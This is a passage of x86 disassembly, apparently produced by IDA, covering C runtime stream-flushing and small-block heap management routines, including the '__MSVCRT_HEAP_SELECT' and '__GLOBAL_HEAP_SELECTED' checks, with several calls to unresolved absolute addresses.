eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_41DB4E: ; CODE XREF: sub_41DB25+Aj ; sub_41DB25+Ej pop esi retn sub_41DB25 endp ; =============== S U B R O U T I N E ======================================= sub_41DB50 proc near ; CODE XREF: sub_41DBF0+2Dp ; sub_41DBF0+48p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_41DB62 push esi call sub_41DBF0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41DB62: ; CODE XREF: sub_41DB50+7j push esi call sub_41DB8B test eax, eax pop ecx jz short loc_41DB72 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41DB72: ; CODE XREF: sub_41DB50+1Bj test byte ptr [esi+0Dh], 40h jz short loc_41DB87 push dword ptr [esi+10h] call sub_4238DF neg eax pop ecx pop esi sbb eax, eax retn ; --------------------------------------------------------------------------- loc_41DB87: ; CODE XREF: sub_41DB50+26j xor eax, eax pop esi retn sub_41DB50 endp ; =============== S U B R O U T I N E ======================================= sub_41DB8B proc near ; CODE XREF: sub_41B05B+1Ap ; ___:0041D223p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi+0Ch] mov ecx, eax and ecx, 3 cmp cl, 2 jnz short loc_41DBD8 test ax, 108h jz short loc_41DBD8 mov eax, [esi+8] mov edi, [esi] sub edi, eax test edi, edi jle short loc_41DBD8 push edi push eax push dword ptr [esi+10h] call sub_42291D add esp, 0Ch cmp eax, edi jnz short loc_41DBD1 mov eax, [esi+0Ch] test al, 80h jz short loc_41DBD8 and al, 0FDh mov [esi+0Ch], eax jmp short loc_41DBD8 ; --------------------------------------------------------------------------- loc_41DBD1: ; CODE XREF: sub_41DB8B+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_41DBD8: ; CODE XREF: sub_41DB8B+14j ; sub_41DB8B+1Aj ... mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop edi mov eax, ebx pop esi pop ebx retn sub_41DB8B endp ; =============== S U B R O U T I N E ======================================= sub_41DBE7 proc near ; CODE XREF: sub_4239DBp push 1 call sub_41DBF0 pop ecx retn sub_41DBE7 endp ; =============== S U B R O U T I N E ======================================= sub_41DBF0 proc near ; CODE XREF: sub_41DB50+Ap ; sub_41DBE7+2p arg_0 = dword ptr 4 push ebx push esi push edi xor esi, esi xor ebx, ebx xor edi, edi cmp dword_4DC5E0, esi jle short loc_41DC4E loc_41DC01: ; CODE XREF: sub_41DBF0+5Cj mov eax, dword_4DB5C8 mov eax, [eax+esi*4] test eax, eax jz short loc_41DC45 mov ecx, [eax+0Ch] test cl, 83h jz short loc_41DC45 cmp [esp+0Ch+arg_0], 1 jnz short loc_41DC2B push eax call sub_41DB50 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41DC45 inc ebx jmp short loc_41DC45 ; --------------------------------------------------------------------------- loc_41DC2B: ; CODE XREF: sub_41DBF0+2Aj cmp [esp+0Ch+arg_0], 0 jnz short loc_41DC45 test cl, 2 jz short loc_41DC45 push eax call sub_41DB50 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41DC45 or edi, eax loc_41DC45: ; CODE XREF: sub_41DBF0+1Bj ; sub_41DBF0+23j ... inc esi cmp esi, dword_4DC5E0 jl short loc_41DC01 loc_41DC4E: ; CODE XREF: sub_41DBF0+Fj cmp [esp+0Ch+arg_0], 1 mov eax, ebx jz short loc_41DC59 mov eax, edi loc_41DC59: ; CODE XREF: sub_41DBF0+65j pop edi pop esi pop ebx retn sub_41DBF0 endp ; =============== S U B R O U T I N E ======================================= sub_41DC5D proc near ; CODE XREF: ___:0041DDC0p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 and dword ptr [esi], 0 nop call near ptr 2680CABh cmp word ptr [eax], 5A4Dh jnz short loc_41DC88 mov ecx, [eax+3Ch] test ecx, ecx jz short loc_41DC88 add eax, ecx mov cl, [eax+1Ah] mov [esi], cl mov al, [eax+1Bh] mov [esi+1], al loc_41DC88: ; CODE XREF: sub_41DC5D+15j ; sub_41DC5D+1Cj pop esi retn sub_41DC5D endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 122Ch call sub_41BB20 lea eax, [ebp-98h] push ebx push eax mov dword ptr [ebp-98h], 94h call near ptr 26E0000h nop test eax, eax jz short loc_41DCCD cmp dword ptr [ebp-88h], 2 jnz short loc_41DCCD cmp dword ptr [ebp-94h], 5 jb short loc_41DCCD push 1 pop eax jmp loc_41DDCF ; --------------------------------------------------------------------------- loc_41DCCD: ; CODE XREF: ___:0041DCB1j ; ___:0041DCBAj ... lea eax, [ebp-122Ch] push 1090h push eax push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT" call near ptr 28C0000h nop test eax, eax jz loc_41DDBC xor ebx, ebx lea ecx, [ebp-122Ch] cmp [ebp-122Ch], bl jz short loc_41DD0F loc_41DCFC: ; CODE XREF: ___:0041DD0Dj mov al, [ecx] cmp al, 61h jl short loc_41DD0A cmp al, 7Ah jg short loc_41DD0A sub al, 20h mov [ecx], al loc_41DD0A: ; CODE XREF: ___:0041DD00j ; ___:0041DD04j inc ecx cmp [ecx], bl jnz short loc_41DCFC loc_41DD0F: ; CODE XREF: ___:0041DCFAj lea eax, [ebp-122Ch] push 16h push eax push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED" call sub_41BE70 add esp, 0Ch test eax, eax jnz short loc_41DD31 lea eax, [ebp-122Ch] jmp short loc_41DD7A ; --------------------------------------------------------------------------- loc_41DD31: ; CODE XREF: ___:0041DD27j lea eax, [ebp-19Ch] push 104h push eax push ebx call near ptr 2670000h nop cmp [ebp-19Ch], bl lea ecx, [ebp-19Ch] jz short loc_41DD65 loc_41DD52: ; CODE XREF: ___:0041DD63j mov al, [ecx] cmp al, 61h jl short loc_41DD60 cmp al, 7Ah jg short loc_41DD60 sub al, 20h mov [ecx], al loc_41DD60: ; CODE XREF: ___:0041DD56j ; ___:0041DD5Aj inc ecx cmp [ecx], bl jnz short loc_41DD52 loc_41DD65: ; CODE XREF: ___:0041DD50j lea eax, [ebp-19Ch] push eax lea eax, [ebp-122Ch] push eax call sub_41B900 pop ecx pop ecx loc_41DD7A: ; CODE XREF: ___:0041DD2Fj cmp eax, ebx jz short loc_41DDBC push 2Ch push eax call sub_41BFB0 pop ecx cmp eax, ebx pop ecx jz short loc_41DDBC inc eax mov ecx, eax cmp [eax], bl jz short loc_41DDA1 loc_41DD93: ; CODE XREF: ___:0041DD9Fj cmp byte ptr [ecx], 3Bh jnz short loc_41DD9C mov [ecx], bl jmp short loc_41DD9D ; --------------------------------------------------------------------------- loc_41DD9C: ; CODE XREF: ___:0041DD96j inc ecx loc_41DD9D: ; CODE XREF: ___:0041DD9Aj cmp [ecx], bl jnz short loc_41DD93 loc_41DDA1: ; CODE XREF: ___:0041DD91j push 0Ah push ebx push eax call sub_41BBA6 add esp, 0Ch cmp eax, 2 jz short loc_41DDCF cmp eax, 3 jz short loc_41DDCF cmp eax, 1 jz short loc_41DDCF loc_41DDBC: ; CODE XREF: ___:0041DCE6j ; ___:0041DD7Cj ... lea eax, [ebp-4] push eax call sub_41DC5D cmp byte ptr [ebp-4], 6 pop ecx sbb eax, eax add eax, 3 loc_41DDCF: ; CODE XREF: ___:0041DCC8j ; ___:0041DDB0j ... pop ebx leave retn ; --------------------------------------------------------------------------- dw 0C033h dd 4439006Ah, 680824h, 0F000010h, 9050C094h, 4B2217E8h dd 0A3C08502h, 4DC944h, 93E83674h, 83FFFFFEh, 48A303F8h dd 75004DC9h, 3F8680Dh, 24E80000h, 59000000h, 0F8830AEBh dd 0E8187502h, 0B5Eh, 0F75C085h, 0C94435FFh, 0E890004Dh dd 24A2E94h, 6AC3C033h, 68C35801h, 140h, 35FF006Ah, 4DC944h dd 21BEE890h, 0C085023Bh, 4DC93CA3h, 0C3017500h, 4244C8Bh dd 0C9342583h, 8300004Dh, 4DC93825h, 16A0000h, 4DC930A3h dd 400D8900h, 0C7004DC9h, 4DC92805h, 1000h db 0, 58h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_41DE77 proc near ; CODE XREF: sub_41B0B1+17p ; sub_41B202+4Cp ... arg_0 = dword ptr 4 mov eax, dword_4DC938 lea ecx, [eax+eax*4] mov eax, dword_4DC93C lea ecx, [eax+ecx*4] loc_41DE87: ; CODE XREF: sub_41DE77+26j cmp eax, ecx jnb short loc_41DE9F mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_41DEA1 add eax, 14h jmp short loc_41DE87 ; --------------------------------------------------------------------------- loc_41DE9F: ; CODE XREF: sub_41DE77+12j xor eax, eax locret_41DEA1: ; CODE XREF: sub_41DE77+21j retn sub_41DE77 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DEA2 proc near ; CODE XREF: sub_41B0B1+23p ; sub_41B202+A4p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] push ebx push esi mov esi, [ebp+arg_4] mov eax, [ecx+10h] push edi mov edi, esi add esi, 0FFFFFFFCh sub edi, [ecx+0Ch] shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx test cl, 1 mov [ebp+var_4], ecx jnz loc_41E1C6 mov edx, [ecx+esi] lea ebx, [ecx+esi] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] test dl, 1 mov [ebp+arg_4], ebx jnz short loc_41DF78 sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41DF06 push 3Fh pop edx loc_41DF06: ; CODE XREF: sub_41DEA2+5Fj mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41DF5A cmp edx, 20h jnb short loc_41DF31 mov ebx, 80000000h mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_41DF52 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41DF52 ; --------------------------------------------------------------------------- loc_41DF31: ; CODE XREF: sub_41DEA2+6Fj lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41DF52 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41DF52: ; CODE XREF: sub_41DEA2+86j ; sub_41DEA2+8Dj ... mov ecx, [ebp+var_4] mov ebx, [ebp+arg_4] jmp short loc_41DF5D ; --------------------------------------------------------------------------- loc_41DF5A: ; CODE XREF: sub_41DEA2+6Aj mov ecx, [ebp+var_4] loc_41DF5D: ; CODE XREF: sub_41DEA2+B6j mov edx, [ebx+8] mov ebx, [ebx+4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov [ebp+var_4], ecx mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx loc_41DF78: ; CODE XREF: sub_41DEA2+56j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41DF86 push 3Fh pop edx loc_41DF86: ; CODE XREF: sub_41DEA2+DFj mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_41E029 sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_41DFAB mov ebx, esi loc_41DFAB: ; CODE XREF: sub_41DEA2+105j add ecx, [ebp+var_8] mov edx, ecx mov [ebp+var_4], ecx sar edx, 4 dec edx cmp edx, esi jbe short loc_41DFBD mov edx, esi loc_41DFBD: ; CODE XREF: sub_41DEA2+117j cmp ebx, edx jz short loc_41E024 mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_41E00C cmp ebx, 20h jnb short loc_41DFED mov esi, 80000000h mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E00C mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_41E00C ; --------------------------------------------------------------------------- loc_41DFED: ; CODE XREF: sub_41DEA2+12Dj lea ecx, [ebx-20h] mov esi, 80000000h shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E00C mov ecx, [ebp+arg_0] and [ecx+4], esi loc_41E00C: ; CODE XREF: sub_41DEA2+128j ; sub_41DEA2+142j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_41E024: ; CODE XREF: sub_41DEA2+11Dj mov esi, [ebp+arg_4] jmp short loc_41E02C ; --------------------------------------------------------------------------- loc_41E029: ; CODE XREF: sub_41DEA2+EDj mov ebx, [ebp+arg_0] loc_41E02C: ; CODE XREF: sub_41DEA2+185j cmp [ebp+var_C], 0 jnz short loc_41E03A cmp ebx, edx jz loc_41E0BB loc_41E03A: ; CODE XREF: sub_41DEA2+18Ej mov ecx, [ebp+var_10] mov ebx, [ecx+edx*8+4] lea ecx, [ecx+edx*8] mov [esi+4], ebx mov [esi+8], ecx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_41E0BB mov cl, [edx+eax+4] cmp edx, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edx+eax+4], cl jnb short loc_41E092 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E081 mov ebx, 80000000h mov ecx, edx shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41E081: ; CODE XREF: sub_41DEA2+1CFj mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_41E0BB ; --------------------------------------------------------------------------- loc_41E092: ; CODE XREF: sub_41DEA2+1C9j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E0A8 lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41E0A8: ; CODE XREF: sub_41DEA2+1F4j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_41E0BB: ; CODE XREF: sub_41DEA2+192j ; sub_41DEA2+1B7j ... mov eax, [ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_41E1C6 mov eax, dword_4DC934 test eax, eax jz loc_41E1B8 mov ecx, dword_4DC92C mov esi, dword_4271C0 shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call esi mov ecx, dword_4DC92C mov eax, dword_4DC934 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_4DC934 mov ecx, dword_4DC92C mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_4DC934 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_4DC934 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_41E149 and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_4DC934 loc_41E149: ; CODE XREF: sub_41DEA2+29Cj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_41E1B8 push ebx push 0 push dword ptr [eax+0Ch] call esi mov eax, dword_4DC934 push dword ptr [eax+10h] push 0 push dword_4DC944 call near ptr 27C0000h nop mov eax, dword_4DC938 mov edx, dword_4DC93C lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_4DC934 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_41CC90 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_4DC938 cmp eax, dword_4DC934 jbe short loc_41E1AE sub [ebp+arg_0], 14h loc_41E1AE: ; CODE XREF: sub_41DEA2+306j mov eax, dword_4DC93C mov dword_4DC930, eax loc_41E1B8: ; CODE XREF: sub_41DEA2+234j ; sub_41DEA2+2ABj mov eax, [ebp+arg_0] mov dword_4DC92C, edi mov dword_4DC934, eax loc_41E1C6: ; CODE XREF: sub_41DEA2+38j ; sub_41DEA2+227j pop edi pop esi pop ebx leave retn sub_41DEA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E1CB proc near ; CODE XREF: sub_41B202+77p ; sub_41B513+18p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_4DC938 mov edx, dword_4DC93C push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_41E20B or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_41E21B ; --------------------------------------------------------------------------- loc_41E20B: ; CODE XREF: sub_41E1CB+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_41E21B: ; CODE XREF: sub_41E1CB+3Ej mov eax, dword_4DC930 mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_41E242 loc_41E229: ; CODE XREF: sub_41E1CB+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E242 add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_41E229 loc_41E242: ; CODE XREF: sub_41E1CB+5Cj ; sub_41E1CB+6Aj cmp ebx, [ebp+var_4] jnz short loc_41E2C0 mov ebx, edx loc_41E249: ; CODE XREF: sub_41E1CB+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41E265 mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E263 add ebx, 14h jmp short loc_41E249 ; --------------------------------------------------------------------------- loc_41E263: ; CODE XREF: sub_41E1CB+91j cmp ebx, eax loc_41E265: ; CODE XREF: sub_41E1CB+83j jnz short loc_41E2C0 loc_41E267: ; CODE XREF: sub_41E1CB+ADj cmp ebx, [ebp+var_4] jnb short loc_41E27D cmp dword ptr [ebx+8], 0 jnz short loc_41E27A add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_41E267 ; --------------------------------------------------------------------------- loc_41E27A: ; CODE XREF: sub_41E1CB+A5j cmp ebx, [ebp+var_4] loc_41E27D: ; CODE XREF: sub_41E1CB+9Fj jnz short loc_41E2A5 mov ebx, edx loc_41E281: ; CODE XREF: sub_41E1CB+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41E295 cmp dword ptr [ebx+8], 0 jnz short loc_41E293 add ebx, 14h jmp short loc_41E281 ; --------------------------------------------------------------------------- loc_41E293: ; CODE XREF: sub_41E1CB+C1j cmp ebx, eax loc_41E295: ; CODE XREF: sub_41E1CB+BBj jnz short loc_41E2A5 call sub_41E4D4 mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_41E2B9 loc_41E2A5: ; CODE XREF: sub_41E1CB:loc_41E27Dj ; sub_41E1CB:loc_41E295j push ebx call sub_41E585 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41E2C0 loc_41E2B9: ; CODE XREF: sub_41E1CB+D8j xor eax, eax jmp loc_41E4CF ; --------------------------------------------------------------------------- loc_41E2C0: ; CODE XREF: sub_41E1CB+7Aj ; sub_41E1CB:loc_41E265j ... mov dword_4DC930, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_41E2E7 mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E31E loc_41E2E7: ; CODE XREF: sub_41E1CB+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_41E31B loc_41E304: ; CODE XREF: sub_41E1CB+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_41E304 loc_41E31B: ; CODE XREF: sub_41E1CB+137j mov edx, [ebp+var_4] loc_41E31E: ; CODE XREF: sub_41E1CB+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_41E347 mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_41E347: ; CODE XREF: sub_41E1CB+16Dj ; sub_41E1CB+183j test ecx, ecx jl short loc_41E350 shl ecx, 1 inc edi jmp short loc_41E347 ; --------------------------------------------------------------------------- loc_41E350: ; CODE XREF: sub_41E1CB+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_41E36D push 3Fh pop esi loc_41E36D: ; CODE XREF: sub_41E1CB+19Dj cmp esi, edi jz loc_41E482 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41E3DE cmp edi, 20h jge short loc_41E3AD mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_41E3DB mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_41E3DE ; --------------------------------------------------------------------------- loc_41E3AD: ; CODE XREF: sub_41E1CB+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_41E3DB mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_41E3DE ; --------------------------------------------------------------------------- loc_41E3DB: ; CODE XREF: sub_41E1CB+1D6j ; sub_41E1CB+203j mov ebx, [ebp+arg_0] loc_41E3DE: ; CODE XREF: sub_41E1CB+1B0j ; sub_41E1CB+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_41E48E mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41E47F mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_41E450 inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41E43E mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_41E43E: ; CODE XREF: sub_41E1CB+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_41E47F ; --------------------------------------------------------------------------- loc_41E450: ; CODE XREF: sub_41E1CB+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41E469 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_41E469: ; CODE XREF: sub_41E1CB+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_41E47F: ; CODE XREF: sub_41E1CB+24Ej ; sub_41E1CB+283j mov ecx, [ebp+var_8] loc_41E482: ; CODE XREF: sub_41E1CB+1A4j test ecx, ecx jz short loc_41E491 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_41E491 ; --------------------------------------------------------------------------- loc_41E48E: ; CODE XREF: sub_41E1CB+229j mov ecx, [ebp+var_8] loc_41E491: ; CODE XREF: sub_41E1CB+2B9j ; sub_41E1CB+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_41E4C7 cmp ebx, dword_4DC934 jnz short loc_41E4C7 mov ecx, [ebp+var_4] cmp ecx, dword_4DC92C jnz short loc_41E4C7 and dword_4DC934, 0 loc_41E4C7: ; CODE XREF: sub_41E1CB+2E0j ; sub_41E1CB+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_41E4CF: ; CODE XREF: sub_41E1CB+F0j pop edi pop esi pop ebx leave retn sub_41E1CB endp ; =============== S U B R O U T I N E ======================================= sub_41E4D4 proc near ; CODE XREF: sub_41E1CB+CCp mov eax, dword_4DC938 mov ecx, dword_4DC928 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_41E517 lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_4DC93C push edi push dword_4DC944 call near ptr 2870000h nop cmp eax, edi jz short loc_41E567 add dword_4DC928, 10h mov dword_4DC93C, eax mov eax, dword_4DC938 loc_41E517: ; CODE XREF: sub_41E4D4+11j mov ecx, dword_4DC93C push 41C4h push 8 lea eax, [eax+eax*4] push dword_4DC944 lea esi, [ecx+eax*4] call near ptr 27D0000h nop cmp eax, edi mov [esi+10h], eax jz short loc_41E567 push 4 push 2000h push 100000h push edi nop call near ptr 28D05EEh cmp eax, edi mov [esi+0Ch], eax jnz short loc_41E56B push dword ptr [esi+10h] push edi push dword_4DC944 nop call near ptr 27C0000h loc_41E567: ; CODE XREF: sub_41E4D4+30j ; sub_41E4D4+67j xor eax, eax jmp short loc_41E582 ; --------------------------------------------------------------------------- loc_41E56B: ; CODE XREF: sub_41E4D4+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_4DC938 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_41E582: ; CODE XREF: sub_41E4D4+95j pop edi pop esi retn sub_41E4D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E585 proc near ; CODE XREF: sub_41E1CB+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_41E597: ; CODE XREF: sub_41E585+19j test eax, eax jl short loc_41E5A0 shl eax, 1 inc ebx jmp short loc_41E597 ; --------------------------------------------------------------------------- loc_41E5A0: ; CODE XREF: sub_41E585+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_41E5B5: ; CODE XREF: sub_41E585+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_41E5B5 mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi nop call near ptr 28D05EEh test eax, eax jnz short loc_41E5E8 or eax, 0FFFFFFFFh jmp loc_41E67B ; --------------------------------------------------------------------------- loc_41E5E8: ; CODE XREF: sub_41E585+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_41E62E lea eax, [edi+10h] loc_41E5F5: ; CODE XREF: sub_41E585+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_41E5F5 loc_41E62E: ; CODE XREF: sub_41E585+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_41E66B or [eax+4], edi loc_41E66B: ; CODE XREF: sub_41E585+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_41E67B: ; CODE XREF: sub_41E585+5Ej pop edi pop esi pop ebx leave retn sub_41E585 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E680 proc near ; CODE XREF: sub_41B202+6Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 